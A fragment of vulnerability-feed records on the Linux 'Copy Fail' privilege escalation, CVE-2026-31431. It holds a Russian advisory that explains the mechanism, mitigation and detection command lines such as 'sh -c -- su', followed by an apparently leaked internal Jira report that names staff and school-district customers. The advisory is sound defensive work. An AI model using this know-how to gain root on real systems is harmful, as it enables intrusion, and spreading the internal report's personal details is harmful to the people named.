\u0434\u0438\u0441\u0442\u0440\u0438\u0431\u0443\u0442\u0438\u0432\u0430\u0445. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u043c\u0443 \u043d\u0435\u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u043c\u0443 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044e \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043f\u0440\u0430\u0432\u0430 root.\n\n\u0421\u0443\u0442\u044c \u0443\u0437\u044f\u0432\u0438\u043c\u043e\u0441\u0442\u0438: \n\n\u041a\u0440\u0438\u043f\u0442\u043e\u0433\u0440\u0430\u0444\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0430\u043b\u0433\u043e\u0440\u0438\u0442\u043c authencesn \u0432\u043e \u0432\u0440\u0435\u043c\u044f \u0440\u0430\u0431\u043e\u0442\u044b \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u0447\u0430\u0441\u0442\u044c \u0432\u044b\u0434\u0435\u043b\u0435\u043d\u043d\u043e\u0439 \u043f\u0430\u043c\u044f\u0442\u0438 \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u00ab\u0447\u0435\u0440\u043d\u043e\u0432\u0438\u043a\u0430\u00bb \u0438 \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442 \u0447\u0435\u0442\u044b\u0440\u0435 \u0431\u0430\u0439\u0442\u0430 \u043f\u0440\u044f\u043c\u043e \u0432 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u044b \u043a\u0435\u0448\u0430 \u0444\u0430\u0439\u043b\u0430. \u042d\u0442\u043e \u0434\u0430\u0451\u0442 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0435\u043c\u0443 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u043c\u043e\u0434\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043a\u0435\u0448 \u043b\u044e\u0431\u043e\u0433\u043e \u0447\u0438\u0442\u0430\u0435\u043c\u043e\u0433\u043e \u0444\u0430\u0439\u043b\u0430. \n\n\u042d\u043a\u0441\u043f\u043b\u043e\u0438\u0442 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043e\u0431\u043e\u0439 732-\u0431\u0430\u0439\u0442\u043d\u044b\u0439 Python-\u0441\u043a\u0440\u0438\u043f\u0442, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u043e\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u043d\u043e \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u0442 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 AF_ALG \u0438 splice \u0434\u043b\u044f \u0437\u0430\u043f\u0438\u0441\u0438 \u0447\u0435\u0442\u044b\u0440\u0451\u0445 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u0438\u0440\u0443\u0435\u043c\u044b\u0445 \u0431\u0430\u0439\u0442 \u0432 \u043a\u0435\u0448, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, setuid-\u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f. \u0412 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u043c\u043e\u0434\u0438\u0444\u0438\u0446\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0439 \u043a\u043e\u0434 \u0432 \u043f\u0430\u043c\u044f\u0442\u0438 \u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u0442\u0441\u044f \u0448\u0435\u043b\u043b \u0441 \u0440\u0443\u0442\u043e\u0432\u044b\u043c\u0438 \u043f\u0440\u0430\u0432\u0430\u043c\u0438. \n\n\u0427\u0442\u043e \u0434\u0435\u043b\u0430\u0442\u044c:\n\n\u0420\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u0432 \u043f\u0435\u0440\u0432\u0443\u044e \u043e\u0447\u0435\u0440\u0435\u0434\u044c \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c \u044f\u0434\u0440\u043e, \u0430 \u0435\u0441\u043b\u0438 \u044d\u0442\u043e \u043d\u0435\u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e \u2014 \u043e\u0442\u043a\u043b\u044e\u0447\u0438\u0442\u044c \u043c\u043e\u0434\u0443\u043b\u044c algif_aead (\u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441 AF_ALG \u0434\u043b\u044f AEAD).\n\n\u041a\u0430\u043a \u0434\u0435\u0442\u0435\u043a\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0430\u0442\u0430\u043a\u0443: \n\n\u0410\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u044b \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u0438\u0441\u0445\u043e\u0434\u043d\u043e\u0433\u043e \u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442\u0430 \u043d\u0430 Python \u043c\u043e\u0436\u043d\u043e \u0443\u0432\u0438\u0434\u0435\u0442\u044c \u043d\u0430 \u0441\u043a\u0440\u0438\u043d\u0448\u043e\u0442\u0435 \u0432\u044b\u0448\u0435.  \u0417\u0430\u043f\u0443\u0441\u043a \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u043f\u043e \u0445\u0430\u0440\u0430\u043a\u0442\u0435\u0440\u043d\u044b\u043c \u043a\u043e\u043c\u0430\u043d\u0434\u043d\u044b\u043c \u0441\u0442\u0440\u043e\u043a\u0430\u043c:\n \nsh -c -- su\nsh -c -- newgrp\nsh -c -- passwd\nsh -c -- gpasswd\nsh -c -- sudo\nsh -c -- chfn\nsh -c -- umount\nsh -c -- mount\nsh -c -- fusermount3\nsh -c -- chsh\nsh -c -- su\n\n\u0410\u043d\u0430\u043b\u043e\u0433\u0438\u0447\u043d\u044b\u0435 \u0441\u0442\u0440\u043e\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0438 \u0441 \u0434\u0440\u0443\u0433\u0438\u043c\u0438 setuid-\u0444\u0430\u0439\u043b\u0430\u043c\u0438.  \n\n\u041c\u043e\u0436\u043d\u043e \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0442\u044c \u0430\u0442\u0430\u043a\u0443 \u0438 \u043f\u043e \u0445\u0430\u0440\u0430\u043a\u0442\u0435\u0440\u043d\u043e\u0439 \u0446\u0435\u043f\u043e\u0447\u043a\u0435 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432: python \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u0442 shell. \n\n\u0422\u0430\u043a\u0436\u0435 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u0438\u0440\u043e\u0432\u0430\u0442\u044c:\n\n\u2014 \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u0435 \u0441\u043e\u043a\u0435\u0442\u0430 AF_ALG (\u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441 \u043a \u043a\u0440\u0438\u043f\u0442\u043e\u0433\u0440\u0430\u0444\u0438\u0447\u0435\u0441\u043a\u043e\u043c\u0443 API \u044f\u0434\u0440\u0430 Linux) \u043d\u0435\u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c\u0438, \n\u2014 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u043e\u0433\u043e \u0432\u044b\u0437\u043e\u0432\u0430 splice(), \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043f\u0435\u0440\u0435\u043c\u0435\u0449\u0430\u0442\u044c \u0434\u0430\u043d\u043d\u044b\u0435 \u043c\u0435\u0436\u0434\u0443 \u0434\u0432\u0443\u043c\u044f \u0444\u0430\u0439\u043b\u043e\u0432\u044b\u043c\u0438 \u0434\u0435\u0441\u043a\u0440\u0438\u043f\u0442\u043e\u0440\u0430\u043c\u0438 (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0438\u0437 \u0444\u0430\u0439\u043b\u0430 \u0432 \u043f\u0430\u0439\u043f \u0438\u043b\u0438 \u0438\u0437 \u0441\u043e\u043a\u0435\u0442\u0430 \u0432 \u0444\u0430\u0439\u043b) \u0432\u043d\u0443\u0442\u0440\u0438 \u043f\u0430\u043c\u044f\u0442\u0438 \u044f\u0434\u0440\u0430.\n\n\u041d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u043e\u0442\u043c\u0435\u0442\u0438\u0442\u044c, \u0447\u0442\u043e \u0443\u0436\u0435 \u043f\u043e\u044f\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u0434\u0440\u0443\u0433\u0438\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 \u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442\u043e\u0432, \u0434\u0435\u0442\u0435\u043a\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043c\u043e\u0436\u0435\u0442 \u043e\u0442\u043b\u0438\u0447\u0430\u0442\u044c\u0441\u044f. \u0421\u043b\u0435\u0434\u0438\u0442\u0435 \u0437\u0430 \u043f\u043e\u0434\u043e\u0437\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u043c\u0438 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f\u043c\u0438 \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440\u0430 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u0440\u043e\u0434\u0438\u0442\u0435\u043b\u044c\u0441\u043a\u043e\u0433\u043e \u0438 \u0434\u043e\u0447\u0435\u0440\u043d\u0435\u0433\u043e \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432 \u043e\u0442 \u043d\u0435\u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432 \u043b\u0438\u0431\u043e \u0444\u0430\u0439\u043b\u043e\u0432, \u043d\u0435\u0445\u0430\u0440\u0430\u043a\u0442\u0435\u0440\u043d\u044b\u0445 \u0434\u043b\u044f \u0432\u0430\u0448\u0435\u0439 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b.\n\nUpdate: \u0414\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u044b \u0438 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438 \u043f\u043e \u0434\u0435\u0442\u0435\u043a\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044e \u0430\u0442\u0430\u043a\u0438 Copy Fail \u0441\u043e\u0431\u0440\u0430\u043d\u044b \u0437\u0434\u0435\u0441\u044c.", "creation_timestamp": "2026-08-04T13:00:04.413923Z"}, {"uuid": "6d204d84-d216-4694-bb6c-1b7eb2522478", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://gist.github.com/ef-edulog/196f93bbcfa280f66e78ec302180f773", "content": "\n\n\n\n\nJira Report \u2014 DO / IM / S2\n\n  :root {\n    --bg: #fff; --bg2: #f5f4ef; --bg3: #ebebeb;\n    --tx: #1a1a1a; --tx2: #666660; --tx3: #999994;\n    --info: #185FA5; --bdr: rgba(0,0,0,0.12); --bdr2: rgba(0,0,0,0.22);\n    --r: 8px; --rl: 12px;\n    --font: -apple-system, BlinkMacSystemFont, 'Segoe UI', sans-serif;\n    --mono: 'SF Mono','Fira Code',monospace;\n  }\n  @media(prefers-color-scheme:dark){\n    :root{--bg:#1e1e1c;--bg2:#2a2a28;--bg3:#333330;--tx:#f0efe8;--tx2:#a8a79f;--tx3:#6e6e68;--info:#85B7EB;--bdr:rgba(255,255,255,0.1);--bdr2:rgba(255,255,255,0.18)}\n  }\n  *{box-sizing:border-box;margin:0;padding:0}\n  body{font-family:var(--font);background:var(--bg);color:var(--tx);padding:24px;max-width:1300px;margin:0 auto}\n  h1{font-size:18px;font-weight:500;margin-bottom:4px}\n  .sub{font-size:12px;color:var(--tx2);margin-bottom:20px}\n  .tabs{display:flex;gap:6px;margin-bottom:1.25rem;flex-wrap:wrap}\n  .tab{padding:5px 13px;border:0.5px solid var(--bdr2);border-radius:var(--r);font-size:13px;cursor:pointer;background:var(--bg);color:var(--tx2)}\n  .tab.active{background:var(--bg2);color:var(--tx);font-weight:500}\n  .tab:hover:not(.active){background:var(--bg2)}\n  .legend{display:flex;gap:14px;flex-wrap:wrap;margin-bottom:1rem;font-size:11px;color:var(--tx2);align-items:center}\n  .li{display:flex;align-items:center;gap:4px}\n  .ld{width:9px;height:9px;border-radius:2px}\n  .summary-grid{display:grid;grid-template-columns:repeat(3,minmax(0,1fr));gap:8px;margin-bottom:1.25rem}\n  .metric{background:var(--bg2);border-radius:var(--r);padding:10px 12px}\n  .ml{font-size:11px;color:var(--tx2);margin-bottom:3px}\n  .mv{font-size:20px;font-weight:500}\n  .project-block{margin-bottom:1.1rem;border:0.5px solid var(--bdr);border-radius:var(--rl);overflow:hidden}\n  .ph{padding:9px 14px;border-bottom:0.5px solid var(--bdr);display:flex;align-items:center;justify-content:space-between}\n  .pn{font-size:13px;font-weight:500}\n  .pm{font-size:11px;color:var(--tx2)}\n  .th{padding:5px 14px;font-size:11px;font-weight:500;color:var(--tx2);background:var(--bg2);display:flex;align-items:center;gap:6px;border-top:0.5px solid var(--bdr)}\n  .tc{background:var(--bg3);color:var(--tx2);padding:1px 6px;border-radius:var(--r);font-size:10px}\n  .cols{display:grid;grid-template-columns:80px 1fr 86px 82px 82px 80px 98px;gap:4px;padding:4px 14px;font-size:10px;color:var(--tx3);background:var(--bg2);border-top:0.5px solid var(--bdr)}\n  .ir{display:grid;grid-template-columns:80px 1fr 86px 82px 82px 80px 98px;gap:4px;padding:6px 14px;align-items:start;border-top:0.5px solid var(--bdr);font-size:11px}\n  .ir.stale{background:rgba(250,238,218,0.3)}\n  .ir.highest{background:rgba(252,235,235,0.35)}\n  .ir.overdue{background:rgba(252,235,235,0.45)}\n  .ir.stale.highest,.ir.stale.overdue{background:rgba(250,220,200,0.45)}\n  @media(prefers-color-scheme:dark){\n    .ir.stale{background:rgba(99,56,6,0.2)}.ir.highest{background:rgba(121,31,31,0.2)}\n    .ir.overdue{background:rgba(121,31,31,0.3)}.ir.stale.highest,.ir.stale.overdue{background:rgba(110,40,6,0.28)}\n  }\n  .ik{color:var(--info);font-size:10px;font-family:var(--mono);white-space:nowrap;text-decoration:none}\n  .ik:hover{text-decoration:underline}\n  .is{color:var(--tx);line-height:1.4;overflow:hidden;display:-webkit-box;-webkit-line-clamp:2;-webkit-box-orient:vertical}\n  .ia{color:var(--tx2);font-size:10px;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}\n  .dt{font-size:10px;white-space:nowrap}\n  .upd-ok{color:var(--tx2)}.upd-stale{color:#BA7517;font-weight:500}\n  .due-ok{color:var(--tx2)}.due-over{color:#A32D2D;font-weight:500}\n  .cr{color:var(--tx2)}\n  @media(prefers-color-scheme:dark){.upd-stale{color:#FAC775}.due-over{color:#F7C1C1}}\n  .dot-h{display:inline-block;width:5px;height:5px;border-radius:50%;background:#E24B4A;margin-right:2px;vertical-align:middle}\n  .dot-s{display:inline-block;width:5px;height:5px;border-radius:50%;background:#EF9F27;margin-right:2px;vertical-align:middle}\n  .dot-d{display:inline-block;width:5px;height:5px;border-radius:50%;background:#D85A30;margin-right:2px;vertical-align:middle}\n  .sb{font-size:10px;padding:2px 6px;border-radius:var(--r);text-align:center;white-space:nowrap}\n  .s-ip{background:#FAEEDA;color:#854F0B}.s-td{background:#E1F5EE;color:#0F6E56}\n  .s-oi{background:#FCEBEB;color:#A32D2D}.s-xx{background:var(--bg2);color:var(--tx2)}\n  @media(prefers-color-scheme:dark){\n    .s-ip{background:#633806;color:#FAC775}.s-td{background:#085041;color:#9FE1CB}.s-oi{background:#791F1F;color:#F7C1C1}\n  }\n  .empty{padding:16px;text-align:center;color:var(--tx3);font-size:12px}\n  .footer{font-size:11px;color:var(--tx3);margin-top:24px}\n\n\n\n\nJira Active Issues Report \u2014 DO / IM / S2\n\nGenerated May 06, 2026 at 03:26 PM  \u00b7  Excludes Done, Fixed, Canceled, Deferred  \u00b7  https://karrostech.atlassian.net\n\nLast 24 hrs24\u201348 hrs ago2\u20137 days agoOlder than 7 days\n\n\n  Highest priority\n  Stale \u22655 business days\n  Due date missed\n\n\n\n\n\nDO \u2014 Edulog DevOps\n1\n\nIM \u2014 Incident Management\n4\n\nS2 \u2014 Soc-2 & Security\n0\n            \n\n              \n\n                DO \u2014 Edulog DevOps\n                1 active issue\n              \n              \n\n                KeySummaryAssignee\n                CreatedLast updatedDue dateStatus\n              \nTask 1\n                    \n\n                      DO-2042\n                      Client Cancelation for Kuna Joint School District, ID - May 29 shutdown\n                      \u2014\n                      May 5, '26\n                      May 5, '26\n                      \u2014\n                      On hold\n                    \n            \n\n              \n\n                IM \u2014 Incident Management\n                4 active issues\n              \n              \n\n                KeySummaryAssignee\n                CreatedLast updatedDue dateStatus\n              \nStory 3\n                    \n\n                      IM-7574\n                      Gwinnett, GA - Missing Data in Telematics\n                      Josiah Brown\n                      May 5, '26\n                      May 5, '26\n                      \u2014\n                      Open Issue\n                    \n                    \n\n                      IM-7573\n                      Brunswick County, NC - APP Issues\n                      \u2014\n                      May 5, '26\n                      May 5, '26\n                      \u2014\n                      Open Issue\n                    \n                    \n\n                      IM-7571\n                      Cleveland, OH - Client Reported Delays in Both Telematics and with Parent Portal Messages this Morning\n                      \u2014\n                      May 5, '26\n                      May 5, '26\n                      \u2014\n                      Open Issue\n                    \nTask 1\n                    \n\n                      IM-7572\n                      Framingham Public Schools, GPS units not reporting in since 11:30 AM today\n                      \u2014\n                      May 5, '26\n                      May 5, '26\n                      \u2014\n                      Open Issue\n                    \n\n\n\nDO \u2014 Edulog DevOps\n2\n\nIM \u2014 Incident Management\n1\n\nS2 \u2014 Soc-2 & Security\n0\n            \n\n              \n\n                DO \u2014 Edulog DevOps\n                2 active issues\n              \n              \n\n                KeySummaryAssignee\n                CreatedLast updatedDue dateStatus\n              \nTask 2\n                    \n\n                      DO-2041\n                      Remove the test server - fr-routing-legacy-test  it is no longer needed.\n                      \u2014\n                      May 5, '26\n                      May 5, '26\n                      \u2014\n                      Backlog\n                    \n                    \n\n                      DO-2040\n                      Remove queuedNotification lambda function when associated NotificationService changes are deployed\n                      \u2014\n                      May 4, '26\n                      May 4, '26\n                      \u2014\n                      Backlog\n                    \n            \n\n              \n\n                IM \u2014 Incident Management\n                1 active issue\n              \n              \n\n                KeySummaryAssignee\n                CreatedLast updatedDue dateStatus\n              \nStory 1\n                    \n\n                      IM-7569\n                      Zonar - Delay / Omission of pings to SM, PP\n                      Nick Sundberg\n                      May 5, '26\n                      May 5, '26\n                      \u2014\n                      Open Issue\n                    \n\n\n\nDO \u2014 Edulog DevOps\n10\n\nIM \u2014 Incident Management\n14\n\nS2 \u2014 Soc-2 & Security\n0\n            \n\n              \n\n                DO \u2014 Edulog DevOps\n                10 active issues\n              \n              \n\n                KeySummaryAssignee\n                CreatedLast updatedDue dateStatus\n              \nBug 2\n                    \n\n                      DO-2034\n                      DP V2 (build 180/AV1): EDP gateway /v4.0/vehicles/search returns 0 vehicles for development-test-school tenant\n                      \u2014\n                      May 3, '26\n                      May 3, '26\n                      \u2014\n                      Backlog\n                    \n                    \n\n                      DO-2033\n                      DP V2 (build 180/AV1): POST /apilive/setting/event/add returns 500 after login (tenantId='', deviceId=0)\n                      \u2014\n                      May 3, '26\n                      May 3, '26\n                      \u2014\n                      Backlog\n                    \nStory 1\n                    \n\n                      DO-2025\n                      Birdville, TX - Please deploy Telematics\n                      Cory Emlen\n                      Apr 29, '26\n                      May 6, '26\n                      \u2014\n                      IN PROGRESS\n                    \nTask 7\n                    \n\n                      DO-2037\n                      Deploy Hafeez's Data Build Tool\n                      Boluwatife Olaifa\n                      May 4, '26\n                      May 6, '26\n                      May 4, '26\n                      Backlog\n                    \n                    \n\n                      DO-2032\n                      Need script run on Cobb to remove duplicate locations\n                      Vader\n                      May 1, '26\n                      May 1, '26\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-2028\n                      All legacy PP ingestions have not run:\n                      Josiah Brown\n                      May 1, '26\n                      May 5, '26\n                      \u2014\n                      Backlog\n                    \n                    \n\n                      DO-2027\n                      Patch infra with CopyFail (CVE-2026-31431)\n                      Josiah Brown\n                      May 1, '26\n                      May 1, '26\n                      \u2014\n                      Backlog\n                    \n                    \n\n                      DO-2026\n                      Johnston NC Demo Site down\n                      Vader\n                      Apr 30, '26\n                      May 1, '26\n                      \u2014\n                      Verification\n                    \n                    \n\n                      DO-2024\n                      Review all deployments, evaluate setting limits\n                      Josiah Brown\n                      Apr 29, '26\n                      Apr 29, '26 (5d)\n                      \u2014\n                      Backlog\n                    \n                    \n\n                      DO-2023\n                      Testing Release Servers\n                      \u2014\n                      Apr 29, '26\n                      Apr 30, '26\n                      \u2014\n                      Backlog\n                    \n            \n\n              \n\n                IM \u2014 Incident Management\n                14 active issues\n              \n              \n\n                KeySummaryAssignee\n                CreatedLast updatedDue dateStatus\n              \nStory 14\n                    \n\n                      IM-7567\n                      Fayette County, no bus event update since 4/29\n                      \u2014\n                      May 1, '26\n                      May 6, '26\n                      \u2014\n                      Open Issue\n                    \n                    \n\n                      IM-7564\n                      Knox, TN - Gps units not reporting in since yesterday\n                      \u2014\n                      May 1, '26\n                      May 1, '26\n                      \u2014\n                      Open Issue\n                    \n                    \n\n                      IM-7563\n                       West Shore - Parent Portal not working\n                      Brandon Donnelson\n                      May 1, '26\n                      May 1, '26\n                      \u2014\n                      Open Issue\n                    \n                    \n\n                      IM-7561\n                      Denton, TX - Parent Portal App is not tracking buses\n                      Brandon Donnelson\n                      Apr 30, '26\n                      May 1, '26\n                      \u2014\n                      Open Issue\n                    \n                    \n\n                      IM-7560\n                      Suffolk, call from parent experiencing tracking issues.\n                      Josiah Brown\n                      Apr 30, '26\n                      May 1, '26\n                      \u2014\n                      Open Issue\n                    \n                    \n\n                      IM-7559\n                      New Kent, parent portal not tracking\n                      Brandon Donnelson\n                      Apr 30, '26\n                      May 1, '26\n                      \u2014\n                      Open Issue\n                    \n                    \n\n                      IM-7557\n                      New Hanover, Parent portal  tracking issues\n                      Brandon Donnelson\n                      Apr 30, '26\n                      May 1, '26\n                      \u2014\n                      Open Issue\n                    \n                    \n\n                      IM-7556\n                      Jefferson, parent portal not tracking \n                      Josiah Brown\n                      Apr 30, '26\n                      May 1, '26\n                      \u2014\n                      Open Issue\n                    \n                    \n\n                      IM-7555\n                      Elyria-OH ,Parent Portal App don't track the bus.\n                      Josiah Brown\n                      Apr 30, '26\n                      May 1, '26\n                      \u2014\n                      Open Issue\n                    \n                    \n\n                      IM-7554\n                      Peoria, AZ - Parent Portal Down\n                      Brandon Donnelson\n                      Apr 30, '26\n                      Apr 30, '26\n                      \u2014\n                      Open Issue\n                    \n                    \n\n                      IM-7553\n                      Stanfield, AZ's Parent Portal is not working as of this morning.  Last reading 4:16am.  \n                      \u2014\n                      Apr 30, '26\n                      Apr 30, '26\n                      \u2014\n                      Blocker\n                    \n                    \n\n                      IM-7551\n                      SM Can't Send Messages to PP/PPL\n                      Boluwatife Olaifa\n                      Apr 30, '26\n                      Apr 30, '26\n                      \u2014\n                      Open Issue\n                    \n                    \n\n                      IM-7550\n                      Cleveland, OH - Not able to track buses - GPS tracking down\n                      Kehinde Metibemu\n                      Apr 30, '26\n                      Apr 30, '26\n                      \u2014\n                      Open Issue\n                    \n                    \n\n                      IM-7548\n                      Cobb County, GA - Severely Degraded Athena Performance\n                      Brandon Donnelson\n                      Apr 29, '26\n                      Apr 30, '26\n                      \u2014\n                      Open Issue\n                    \n\n\n\nDO \u2014 Edulog DevOps\n50\n\nIM \u2014 Incident Management\n0\n\nS2 \u2014 Soc-2 & Security\n0\n            \n\n              \n\n                DO \u2014 Edulog DevOps\n                50 active issues\n              \n              \n\n                KeySummaryAssignee\n                CreatedLast updatedDue dateStatus\n              \nATH New site request 1\n                    \n\n                      DO-1787\n                      Elyria, OH - Athena Conversion from Legacy\n                      Cory Emlen\n                      Mar 17, '26\n                      Apr 30, '26\n                      Apr 17, '26\n                      Blocked\n                    \nBug 49\n                    \n\n                      DO-1905\n                      Parent Portal missing route/vehicle data after EKS 1.34 upgrade \u2014 missed cron sync + Hibernate 6 bug\n                      \u2014\n                      Apr 6, '26\n                      Apr 6, '26 (22d)\n                      \u2014\n                      Backlog\n                    \n                    \n\n                      DO-1855\n                      There is no data available in Route assignment, Live substitution modules of Telematcis for Johnston site\n                      Mide Dickson\n                      Mar 26, '26\n                      Mar 26, '26 (29d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1854\n                      There is no data available in multiple pages like Students, Runs, Routes modules of Routing for Johnston site \n                      Mide Dickson\n                      Mar 26, '26\n                      Mar 26, '26 (29d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1842\n                      EDTA service missing MongoDB JVM args \u2014 broken on 57 production tenants\n                      \u2014\n                      Mar 25, '26\n                      Mar 25, '26 (30d)\n                      \u2014\n                      Backlog\n                    \n                    \n\n                      DO-1801\n                      release-2-fr - Elastic search error displays into log - Unable to search for stop locations\n                      \u2014\n                      Mar 19, '26\n                      Mar 19, '26 (34d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1786\n                      [EastAllen, IN 1.78 Smoke]CA Result CSV \u2013 Export fails for valid dates with 400 Bad Request (invalid page number)\n                      Dane Elwood\n                      Mar 17, '26\n                      Mar 26, '26 (29d)\n                      \u2014\n                      Blocked\n                    \n                    \n\n                      DO-1785\n                      [EastAllen, IN 1.78 Smoke]Vehicles \u2013 Seating Configuration popup shows error \u201cnetwork issues\u201d due to backend API failure\n                      Josiah Brown\n                      Mar 17, '26\n                      Mar 17, '26 (36d)\n                      \u2014\n                      Backlog\n                    \n                    \n\n                      DO-1784\n                      [Lake Superior 1.78 Smoke]Time & Attendance module not opening from main dashboard\n                      Josiah Brown\n                      Mar 17, '26\n                      Mar 17, '26 (36d)\n                      \u2014\n                      Backlog\n                    \n                    \n\n                      DO-1783\n                      Config API is failing for Time & Attendance module in Collinsville site \n                      Josiah Brown\n                      Mar 17, '26\n                      Mar 17, '26 (36d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1782\n                      Several API calls are failed in ultilities --> Employee Import and Queue Priority modules \n                      Josiah Brown\n                      Mar 17, '26\n                      Mar 17, '26 (36d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1779\n                      [Cleveland -1.78] [Time & attendance][Absence Record] Data preview is not available\n                      Josiah Brown\n                      Mar 16, '26\n                      Mar 16, '26 (37d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1776\n                      Routes API CORS Blocked & Gateway Timeout on Routes Management Page\n                      Josiah Brown\n                      Mar 13, '26\n                      Mar 15, '26 (38d)\n                      \u2014\n                      Verification\n                    \n                    \n\n                      DO-1775\n                      [Chicago-1.78] [Telematics --> Edulog standard reports] - Unable to select date range for AM on time report\n                      Josiah Brown\n                      Mar 13, '26\n                      Mar 13, '26 (38d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1768\n                      [moorhead 1.78.0] [Telematics] [Vehicle Plan Error] Front end error for Vehicle on Route Historical view\n                      Josiah Brown\n                      Mar 13, '26\n                      Mar 16, '26 (37d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1767\n                      500 Internal Server Error on Athena Routing Screen \u2013 eligibilities API\n                      Josiah Brown\n                      Mar 13, '26\n                      Mar 23, '26 (32d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1766\n                      [Helena] API call fails on clicking \"Add New\" Student \n                      Josiah Brown\n                      Mar 13, '26\n                      Mar 23, '26 (32d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1765\n                      Deleting a student without entering any data in Add student form is giving 405 error \n                      Josiah Brown\n                      Mar 13, '26\n                      Mar 27, '26 (28d)\n                      \u2014\n                      Backlog\n                    \n                    \n\n                      DO-1761\n                       is displayed against a checkbox on Custom transportation Needs \n                      Josiah Brown\n                      Mar 12, '26\n                      Mar 12, '26 (39d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      